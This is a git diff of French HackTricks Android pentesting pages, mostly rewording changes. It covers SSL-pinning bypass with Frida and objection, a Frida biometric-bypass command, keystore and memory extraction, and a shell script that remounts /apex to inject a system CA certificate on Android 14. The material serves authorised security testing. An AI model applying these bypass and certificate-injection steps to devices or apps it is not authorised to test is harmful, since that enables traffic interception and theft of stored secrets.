* Modifier automatiquement l'**apk** pour **contourner** l'épinglage SSL avec [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Le principal avantage de cette option est que vous n'aurez pas besoin de root pour contourner l'épinglage SSL, mais vous devrez supprimer l'application et réinstaller la nouvelle, et cela ne fonctionnera pas toujours.
|
||||
* Vous pourriez utiliser **Frida** (discuté ci-dessous) pour contourner cette protection. Voici un guide pour utiliser Burp+Frida+Genymotion : [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
* Vous pouvez utiliser **Frida** (discuté ci-dessous) pour contourner cette protection. Voici un guide pour utiliser Burp+Frida+Genymotion : [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
* Vous pouvez également essayer de **contourner automatiquement l'épinglage SSL** en utilisant [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
* Vous pouvez également essayer de **contourner automatiquement l'épinglage SSL** en utilisant **l'analyse dynamique de MobSF** (expliquée ci-dessous)
|
||||
* Vous pouvez également essayer de **contourner automatiquement l'épinglage SSL** en utilisant **l'analyse dynamique MobSF** (expliquée ci-dessous)
|
||||
* Si vous pensez toujours qu'il y a du trafic que vous ne capturez pas, vous pouvez essayer de **rediriger le trafic vers Burp en utilisant iptables**. Lisez ce blog : [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
#### Recherche de vulnérabilités Web courantes
|
||||
|
@ -475,7 +465,7 @@ Il est également important de rechercher des vulnérabilités Web courantes dan
|
|||
|
||||
### Frida
|
||||
|
||||
[Frida](https://www.frida.re) est une trousse d'outils d'instrumentation dynamique pour les développeurs, les ingénieurs inverses et les chercheurs en sécurité.\
|
||||
[Frida](https://www.frida.re) est une trousse d'instrumentation dynamique pour les développeurs, les rétro-ingénieurs et les chercheurs en sécurité.\
|
||||
**Vous pouvez accéder à l'application en cours d'exécution et accrocher des méthodes en temps réel pour changer le comportement, changer les valeurs, extraire des valeurs, exécuter un code différent...**\
|
||||
Si vous voulez faire du pentest sur des applications Android, vous devez savoir comment utiliser Frida.
|
||||
|
||||
|
@ -484,7 +474,7 @@ Si vous voulez faire du pentest sur des applications Android, vous devez savoir
|
|||
* Ojection est excellent pour automatiser l'utilisation de Frida : [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
* Vous pouvez trouver quelques scripts Frida impressionnants ici : [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
|
||||
### **Dump de mémoire - Fridump**
|
||||
### **Dump Memory - Fridump**
|
||||
|
||||
Vérifiez si l'application stocke des informations sensibles dans la mémoire qu'elle ne devrait pas stocker comme des mots de passe ou des mnémoniques.
|
||||
|
||||
|
@ -507,9 +497,9 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
|||
|
||||
### **Données sensibles dans le Keystore**
|
||||
|
||||
Sur Android, le Keystore est le meilleur endroit pour stocker des données sensibles, cependant, avec suffisamment de privilèges, il est toujours **possible d'y accéder**. Comme les applications ont tendance à stocker ici des **données sensibles en texte clair**, les tests d'intrusion doivent vérifier cela car un utilisateur root ou quelqu'un ayant un accès physique à l'appareil pourrait être en mesure de voler ces données.
|
||||
Dans Android, le Keystore est le meilleur endroit pour stocker des données sensibles, cependant, avec suffisamment de privilèges, il est toujours **possible d'y accéder**. Comme les applications ont tendance à stocker ici des **données sensibles en texte clair**, les tests d'intrusion doivent vérifier cela car un utilisateur root ou quelqu'un ayant un accès physique à l'appareil pourrait être en mesure de voler ces données.
|
||||
|
||||
Même si une application stocke des données dans le keystore, les données devraient être chiffrées.
|
||||
Même si une application stocke des données dans le keystore, les données doivent être chiffrées.
|
||||
|
||||
Pour accéder aux données à l'intérieur du keystore, vous pouvez utiliser ce script Frida : [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
||||
```bash
|
||||
|
@ -529,7 +519,7 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
|
|||
|
||||
Lorsque vous mettez une application en arrière-plan, Android stocke une **capture d'écran de l'application** afin que lorsqu'elle est ramenée à l'avant-plan, elle commence à charger l'image avant l'application pour donner l'impression que l'application a été chargée plus rapidement.
|
||||
|
||||
Cependant, si cette capture d'écran contient des **informations sensibles**, une personne ayant accès à la capture d'écran pourrait **voler ces informations** (notez que vous avez besoin des droits root pour y accéder).
|
||||
Cependant, si cette capture d'écran contient des **informations sensibles**, quelqu'un ayant accès à la capture d'écran pourrait **voler ces informations** (notez que vous avez besoin des droits root pour y accéder).
|
||||
|
||||
Les captures d'écran sont généralement stockées autour de : **`/data/system_ce/0/snapshots`**
|
||||
|
||||
|
@ -545,35 +535,36 @@ Cet outil pourrait vous aider à gérer différents outils lors de l'analyse dyn
|
|||
|
||||
Les développeurs créent souvent des composants proxy tels que des activités, des services et des récepteurs de diffusion qui gèrent ces Intents et les transmettent à des méthodes telles que `startActivity(...)` ou `sendBroadcast(...)`, ce qui peut être risqué.
|
||||
|
||||
Le danger réside dans le fait de permettre aux attaquants de déclencher des composants d'application non exportés ou d'accéder à des fournisseurs de contenu sensibles en détournant ces Intents. Un exemple notable est le composant `WebView` convertissant les URL en objets `Intent` via `Intent.parseUri(...)` puis les exécutant, ce qui peut potentiellement entraîner des injections d'Intent malveillantes.
|
||||
Le danger réside dans le fait de permettre aux attaquants de déclencher des composants d'application non exportés ou d'accéder à des fournisseurs de contenu sensibles en détournant ces Intents. Un exemple notable est le composant `WebView` qui convertit les URL en objets `Intent` via `Intent.parseUri(...)` puis les exécute, ce qui peut potentiellement entraîner des injections d'Intent malveillantes.
|
||||
|
||||
### Points Essentiels
|
||||
- **Injection d'Intent** est similaire au problème de redirection ouverte du web.
|
||||
- Les exploits impliquent le passage d'objets `Intent` en tant qu'extra, qui peuvent être redirigés pour exécuter des opérations non sécurisées.
|
||||
- Cela peut exposer des composants non exportés et des fournisseurs de contenu aux attaquants.
|
||||
- La conversion d'URL en `Intent` par `WebView` peut faciliter des actions non intentionnelles.
|
||||
|
||||
* **Injection d'Intent** est similaire au problème de redirection ouverte du web.
|
||||
* Les exploits impliquent le passage d'objets `Intent` en tant qu'extra, qui peuvent être redirigés pour exécuter des opérations non sécurisées.
|
||||
* Cela peut exposer des composants non exportés et des fournisseurs de contenu aux attaquants.
|
||||
* La conversion d'URL en `Intent` par `WebView` peut faciliter des actions non intentionnelles.
|
||||
|
||||
### Injections Côté Client Android et autres
|
||||
|
||||
Vous connaissez probablement ce type de vulnérabilités du Web. Vous devez être particulièrement prudent avec ces vulnérabilités dans une application Android :
|
||||
|
||||
* **Injection SQL :** Lorsque vous travaillez avec des requêtes dynamiques ou des Content-Providers, assurez-vous d'utiliser des requêtes paramétrées.
|
||||
* **Injection JavaScript (XSS) :** Vérifiez que le support JavaScript et des plugins est désactivé pour tout WebView (désactivé par défaut). [Plus d'informations ici](webview-attacks.md#javascript-enabled).
|
||||
* **Injection JavaScript (XSS) :** Vérifiez que le support JavaScript et des plugins est désactivé pour toutes les WebViews (désactivé par défaut). [Plus d'informations ici](webview-attacks.md#javascript-enabled).
|
||||
* **Inclusion de Fichiers Locaux :** Les WebViews doivent avoir l'accès au système de fichiers désactivé (activé par défaut) - `(webview.getSettings().setAllowFileAccess(false);)`. [Plus d'informations ici](webview-attacks.md#javascript-enabled).
|
||||
* **Cookies Éternels :** Dans plusieurs cas, lorsque l'application Android termine la session, le cookie n'est pas révoqué ou il pourrait même être enregistré sur le disque.
|
||||
* **Cookies Éternels :** Dans plusieurs cas, lorsque l'application Android termine la session, le cookie n'est pas révoqué ou peut même être enregistré sur le disque.
|
||||
* [**Drapeau de Sécurité** dans les cookies](../../pentesting-web/hacking-with-cookies/#cookies-flags)
|
||||
|
||||
***
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes en bugs !
|
||||
|
||||
**Perspectives sur le Hacking**\
|
||||
Engagez-vous avec du contenu qui explore l'excitation et les défis du hacking
|
||||
|
||||
**Actualités sur le Hacking en Temps Réel**\
|
||||
Restez à jour avec le monde du hacking en évolution rapide grâce aux actualités et aux informations en temps réel
|
||||
Restez à jour avec le monde du hacking en évolution rapide grâce aux actualités et aux perspectives en temps réel
|
||||
|
||||
**Dernières Annonces**\
|
||||
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme
|
||||
|
@ -593,10 +584,10 @@ Restez informé des dernières primes de bugs lancées et des mises à jour cruc
|
|||
docker pull opensecurity/mobile-security-framework-mobsf
|
||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
```
|
||||
Notez que MobSF peut analyser les applications **Android**(apk), **IOS**(ipa) et **Windows**(apx) (_les applications Windows doivent être analysées à partir d'un MobSF installé sur un hôte Windows_).\
|
||||
Notez que MobSF peut analyser les applications **Android**(apk), **IOS**(ipa) et Windows(apx) (_les applications Windows doivent être analysées à partir d'un MobSF installé sur un hôte Windows_).\
|
||||
De plus, si vous créez un fichier **ZIP** avec le code source d'une application **Android** ou **IOS** (allez dans le dossier racine de l'application, sélectionnez tout et créez un fichier ZIP), MobSF pourra également l'analyser.
|
||||
|
||||
MobSF vous permet également de **différencier/comparer** les analyses et d'intégrer **VirusTotal** (vous devrez définir votre clé API dans _MobSF/settings.py_ et l'activer : `VT_ENABLED = TRUE` `VT_API_KEY = <Votre clé API>` `VT_UPLOAD = TRUE`). Vous pouvez également définir `VT_UPLOAD` sur `False`, puis le **hash** sera **téléchargé** au lieu du fichier.
|
||||
MobSF vous permet également de **diff/Comparer** les analyses et d'intégrer **VirusTotal** (vous devrez définir votre clé API dans _MobSF/settings.py_ et l'activer : `VT_ENABLED = TRUE` `VT_API_KEY = <Votre clé API>` `VT_UPLOAD = TRUE`). Vous pouvez également définir `VT_UPLOAD` sur `False`, puis le **hash** sera **téléchargé** au lieu du fichier.
|
||||
|
||||
### Analyse dynamique assistée avec MobSF
|
||||
|
||||
|
@ -605,7 +596,7 @@ L'**analyseur dynamique MobSF** peut :
|
|||
|
||||
* **Extraire les données de l'application** (URL, journaux, presse-papiers, captures d'écran réalisées par vous, captures d'écran réalisées par "**Exported Activity Tester**", e-mails, bases de données SQLite, fichiers XML, et autres fichiers créés). Tout cela est fait automatiquement sauf pour les captures d'écran, vous devez appuyer lorsque vous voulez une capture d'écran ou vous devez appuyer sur "**Exported Activity Tester**" pour obtenir des captures d'écran de toutes les activités exportées.
|
||||
* Capturer le **trafic HTTPS**
|
||||
* Utiliser **Frida** pour obtenir des **informations en temps réel**
|
||||
* Utiliser **Frida** pour obtenir des **informations en temps d'exécution**
|
||||
|
||||
À partir des versions **Android > 5**, il **démarrera automatiquement Frida** et définira les paramètres de **proxy** globaux pour **capturer** le trafic. Il ne capturera le trafic que de l'application testée.
|
||||
|
||||
|
@ -615,7 +606,7 @@ Par défaut, il utilisera également certains scripts Frida pour **contourner l'
|
|||
MobSF peut également **appeler des activités exportées**, capturer des **captures d'écran** et les **sauvegarder** pour le rapport.
|
||||
|
||||
Pour **démarrer** le test dynamique, appuyez sur le bouton vert : "**Start Instrumentation**". Appuyez sur "**Frida Live Logs**" pour voir les journaux générés par les scripts Frida et "**Live API Monitor**" pour voir toutes les invocations des méthodes accrochées, les arguments passés et les valeurs retournées (cela apparaîtra après avoir appuyé sur "Start Instrumentation").\
|
||||
MobSF vous permet également de charger vos propres **scripts Frida** (pour envoyer les résultats de vos scripts Frida à MobSF, utilisez la fonction `send()`). Il dispose également de **plusieurs scripts pré-écrits** que vous pouvez charger (vous pouvez en ajouter d'autres dans `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), il vous suffit de les sélectionner, d'appuyer sur "**Load**" et d'appuyer sur "**Start Instrumentation**" (vous pourrez voir les journaux de ces scripts à l'intérieur de "**Frida Live Logs**").
|
||||
MobSF vous permet également de charger vos propres **scripts Frida** (pour envoyer les résultats de vos scripts Frida à MobSF, utilisez la fonction `send()`). Il dispose également de **plusieurs scripts pré-écrits** que vous pouvez charger (vous pouvez en ajouter d'autres dans `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), il vous suffit de les **sélectionner**, d'appuyer sur "**Load**" et d'appuyer sur "**Start Instrumentation**" (vous pourrez voir les journaux de ces scripts à l'intérieur de "**Frida Live Logs**").
|
||||
|
||||
![](<../../.gitbook/assets/image (215).png>)
|
||||
|
||||
|
@ -632,7 +623,7 @@ Une fois que vous avez sélectionné le module auxiliaire que vous souhaitez uti
|
|||
|
||||
**Shell**
|
||||
|
||||
Mobsf vous propose également un shell avec quelques commandes **adb**, des commandes **MobSF** et des commandes **shell** courantes en bas de la page d'analyse dynamique. Quelques commandes intéressantes :
|
||||
Mobsf vous propose également un shell avec quelques commandes **adb**, commandes **MobSF**, et commandes **shell** courantes en bas de la page d'analyse dynamique. Quelques commandes intéressantes :
|
||||
```bash
|
||||
help
|
||||
shell ls
|
||||
|
@ -644,7 +635,7 @@ receivers
|
|||
**Outils HTTP**
|
||||
|
||||
Lorsque le trafic http est capturé, vous pouvez voir une vue peu attrayante du trafic capturé sur le bas de "**HTTP(S) Traffic**" ou une vue plus agréable sur le bouton vert "**Start HTTPTools**". À partir de la deuxième option, vous pouvez **envoyer** les **requêtes capturées** vers des **proxies** comme Burp ou Owasp ZAP.\
|
||||
Pour ce faire, _allumez Burp -->_ _désactivez l'interception --> dans MobSB HTTPTools sélectionnez la requête_ --> appuyez sur "**Send to Fuzzer**" --> _sélectionnez l'adresse du proxy_ ([http://127.0.0.1:8080\\](http://127.0.1:8080)).
|
||||
Pour ce faire, _allumez Burp -->_ _désactivez Intercept --> dans MobSB HTTPTools sélectionnez la requête_ --> appuyez sur "**Send to Fuzzer**" --> _sélectionnez l'adresse du proxy_ ([http://127.0.0.1:8080\\](http://127.0.1:8080)).
|
||||
|
||||
Une fois que vous avez terminé l'analyse dynamique avec MobSF, vous pouvez appuyer sur "**Start Web API Fuzzer**" pour **fuzzer les requêtes http** et rechercher des vulnérabilités.
|
||||
|
||||
|
@ -660,7 +651,6 @@ adb shell settings put global http_proxy :0
|
|||
Vous pouvez obtenir l'outil sur [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
|
||||
Cet outil utilisera certains **Hooks** pour vous informer de **ce qui se passe dans l'application** pendant que vous effectuez une **analyse dynamique**.
|
||||
|
||||
|
||||
### [Yaazhini](https://www.vegabird.com/yaazhini/)
|
||||
|
||||
C'est un **excellent outil pour effectuer une analyse statique avec une interface graphique**
|
||||
|
@ -689,9 +679,9 @@ reverse-apk relative/path/to/APP.apk
|
|||
```
|
||||
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
|
||||
|
||||
SUPER est une application en ligne de commande qui peut être utilisée sous Windows, MacOS X et Linux, qui analyse les fichiers _.apk_ à la recherche de vulnérabilités. Il le fait en décompressant les APK et en appliquant une série de règles pour détecter ces vulnérabilités.
|
||||
SUPER est une application en ligne de commande qui peut être utilisée sous Windows, MacOS X et Linux, pour analyser les fichiers _.apk_ à la recherche de vulnérabilités. Pour ce faire, il décompresse les APK et applique une série de règles pour détecter ces vulnérabilités.
|
||||
|
||||
Toutes les règles sont centrées dans un fichier `rules.json`, et chaque entreprise ou testeur peut créer ses propres règles pour analyser ce dont ils ont besoin.
|
||||
Toutes les règles sont regroupées dans un fichier `rules.json`, et chaque entreprise ou testeur peut créer ses propres règles pour analyser ce dont ils ont besoin.
|
||||
|
||||
Téléchargez les derniers binaires sur la [page de téléchargement](https://superanalyzer.rocks/download.html)
|
||||
```
|
||||
|
@ -758,7 +748,7 @@ ProGuard est distribué dans le cadre du SDK Android et s'exécute lors de la co
|
|||
|
||||
### [DexGuard](https://www.guardsquare.com/dexguard)
|
||||
|
||||
Trouvez un guide étape par étape pour déobfusquer l'APK sur [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
Trouvez un guide étape par étape pour déobfusquer l'APK dans [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
|
||||
(Dans ce guide) La dernière fois que nous avons vérifié, le mode de fonctionnement de Dexguard était :
|
||||
|
||||
|
@ -808,13 +798,13 @@ AndroL4b est une machine virtuelle de sécurité Android basée sur ubuntu-mate
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes en bugs !
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
|
||||
**Perspectives sur le Hacking**\
|
||||
Engagez-vous avec du contenu qui explore le frisson et les défis du hacking
|
||||
|
||||
**Actualités sur le Hacking en Temps Réel**\
|
||||
Restez informé du monde du hacking en évolution rapide grâce aux actualités et aux informations en temps réel
|
||||
**Actualités de Hacking en Temps Réel**\
|
||||
Restez informé sur le monde du hacking à rythme rapide grâce aux actualités et aux informations en temps réel
|
||||
|
||||
**Dernières Annonces**\
|
||||
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme
|
||||
|
@ -823,14 +813,14 @@ Restez informé des dernières primes de bugs lancées et des mises à jour cruc
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,8 +8,8 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
@ -20,7 +20,7 @@ Tout d'abord, vous devez télécharger le certificat Der de Burp. Vous pouvez le
|
|||
|
||||
![](<../../.gitbook/assets/image (367).png>)
|
||||
|
||||
**Exportez le certificat au format Der** et transformez-le en une forme que **Android** pourra **comprendre**. Notez que **pour configurer le certificat Burp sur la machine Android dans AVD**, vous devez **exécuter** cette machine **avec** l'option **`-writable-system`**.\
|
||||
**Exportez le certificat au format Der** et transformons-le en une forme que **Android** pourra **comprendre**. Notez que **pour configurer le certificat Burp sur la machine Android dans AVD**, vous devez **exécuter** cette machine **avec** l'option **`-writable-system`**.\
|
||||
Par exemple, vous pouvez l'exécuter comme suit :
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -29,7 +29,7 @@ C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -ht
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Ensuite, pour **configurer le certificat de Burp**, faites ce qui suit :
|
||||
Ensuite, pour **configurer le certificat de Burp**, faites :
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -52,31 +52,31 @@ Si vous avez **rooté votre appareil avec Magisc** (peut-être un émulateur) et
|
|||
|
||||
Expliqué dans [**cette vidéo**](https://www.youtube.com/watch?v=qQicUW0svB8) vous devez :
|
||||
|
||||
1. **Installer un certificat CA** : Il vous suffit de **glisser-déposer** le certificat Burp DER en **changeant l'extension** en `.crt` sur le mobile pour qu'il soit stocké dans le dossier Téléchargements et allez à `Installer un certificat` -> `Certificat CA`
|
||||
1. **Installer un certificat CA** : Il vous suffit de **glisser-déposer** le certificat Burp DER en **changeant l'extension** en `.crt` sur le mobile afin qu'il soit stocké dans le dossier Téléchargements et allez dans `Installer un certificat` -> `Certificat CA`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
|
||||
* Vérifiez que le certificat a été correctement stocké en allant à `Certificats de confiance` -> `UTILISATEUR`
|
||||
* Vérifiez que le certificat a été correctement stocké en allant dans `Certificats de confiance` -> `UTILISATEUR`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
|
||||
2. **Le rendre fiable pour le système** : Téléchargez le module Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (un fichier .zip), **glissez-déposez-le** sur le téléphone, allez à l'application Magics sur le téléphone dans la section **`Modules`**, cliquez sur **`Installer depuis le stockage`**, sélectionnez le module `.zip` et une fois installé, **redémarrez** le téléphone :
|
||||
2. **Le rendre fiable pour le système** : Téléchargez le module Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (un fichier .zip), **glissez-déposez-le** sur le téléphone, allez dans l'application Magics sur le téléphone dans la section **`Modules`**, cliquez sur **`Installer depuis le stockage`**, sélectionnez le module `.zip` et une fois installé, **redémarrez** le téléphone :
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
|
||||
|
||||
* Après le redémarrage, allez à `Certificats de confiance` -> `SYSTÈME` et vérifiez que le certificat Postswigger est présent
|
||||
* Après le redémarrage, allez dans `Certificats de confiance` -> `SYSTÈME` et vérifiez que le certificat Postswigger est présent
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt="" width="314"><figcaption></figcaption></figure>
|
||||
|
||||
## Post Android 14
|
||||
|
||||
Dans la dernière version Android 14, un changement significatif a été observé dans la gestion des certificats d'autorité de certification (CA) de confiance système. Auparavant, ces certificats étaient stockés dans **`/system/etc/security/cacerts/`**, accessibles et modifiables par les utilisateurs disposant de privilèges root, ce qui permettait une application immédiate dans tout le système. Cependant, avec Android 14, l'emplacement de stockage a été déplacé vers **`/apex/com.android.conscrypt/cacerts`**, un répertoire situé dans le chemin **`/apex`**, qui est immuable par nature.
|
||||
Dans la dernière version Android 14, un changement significatif a été observé dans la gestion des certificats d'autorité de certification (CA) de confiance du système. Auparavant, ces certificats étaient stockés dans **`/system/etc/security/cacerts/`**, accessibles et modifiables par les utilisateurs disposant de privilèges root, ce qui permettait une application immédiate dans tout le système. Cependant, avec Android 14, l'emplacement de stockage a été déplacé vers **`/apex/com.android.conscrypt/cacerts`**, un répertoire situé dans le chemin **`/apex`**, qui est immuable par nature.
|
||||
|
||||
Les tentatives de remonter le chemin **APEX cacerts** en écriture se soldent par un échec, car le système n'autorise pas de telles opérations. Même les tentatives de démontage ou de superposition du répertoire avec un système de fichiers temporaire (tmpfs) ne contournent pas l'immuabilité ; les applications continuent d'accéder aux données de certificat d'origine indépendamment des modifications au niveau du système de fichiers. Cette résilience est due à la configuration du montage **`/apex`** avec une propagation PRIVÉE, garantissant que toute modification dans le répertoire **`/apex`** n'affecte pas les autres processus.
|
||||
|
||||
L'initialisation d'Android implique le processus `init`, qui, lors du démarrage du système d'exploitation, lance également le processus Zygote. Ce processus est responsable du lancement des processus d'application avec un nouveau namespace de montage incluant un montage privé **`/apex`**, isolant ainsi les modifications apportées à ce répertoire des autres processus.
|
||||
|
||||
Néanmoins, une solution de contournement existe pour ceux qui ont besoin de modifier les certificats CA de confiance système dans le répertoire **`/apex`**. Cela implique de remonter manuellement **`/apex`** pour supprimer la propagation PRIVÉE, le rendant ainsi inscriptible. Le processus consiste à copier le contenu de **`/apex/com.android.conscrypt`** vers un autre emplacement, à démonter le répertoire **`/apex/com.android.conscrypt`** pour éliminer la contrainte en lecture seule, puis à restaurer le contenu à son emplacement d'origine dans **`/apex`**. Cette approche nécessite une action rapide pour éviter les plantages du système. Pour garantir l'application de ces modifications à l'échelle du système, il est recommandé de redémarrer le `system_server`, ce qui redémarre efficacement toutes les applications et ramène le système à un état cohérent.
|
||||
Néanmoins, une solution de contournement existe pour ceux qui ont besoin de modifier les certificats CA de confiance du système dans le répertoire **`/apex`**. Cela implique de remonter manuellement **`/apex`** pour supprimer la propagation PRIVÉE, le rendant ainsi inscriptible. Le processus consiste à copier le contenu de **`/apex/com.android.conscrypt`** vers un autre emplacement, à démonter le répertoire **`/apex/com.android.conscrypt`** pour éliminer la contrainte en lecture seule, puis à restaurer le contenu à son emplacement d'origine dans **`/apex`**. Cette approche nécessite une action rapide pour éviter les plantages du système. Pour garantir l'application de ces modifications à l'échelle du système, il est recommandé de redémarrer le `system_server`, ce qui redémarre efficacement toutes les applications et ramène le système à un état cohérent.
|
||||
```bash
|
||||
# Create a separate temp directory, to hold the current certificates
|
||||
# Otherwise, when we add the mount we can't read the current certs anymore.
|
||||
|
@ -140,21 +140,21 @@ echo "System certificate injected"
|
|||
```bash
|
||||
mount -t tmpfs tmpfs /system/etc/security/cacerts
|
||||
```
|
||||
2. **Préparation des certificats CA** : Après la configuration du répertoire inscriptible, les certificats CA que l'on souhaite utiliser doivent être copiés dans ce répertoire. Cela peut impliquer de copier les certificats par défaut depuis `/apex/com.android.conscrypt/cacerts/`. Il est essentiel d'ajuster les autorisations et les étiquettes SELinux de ces certificats en conséquence.
|
||||
|
||||
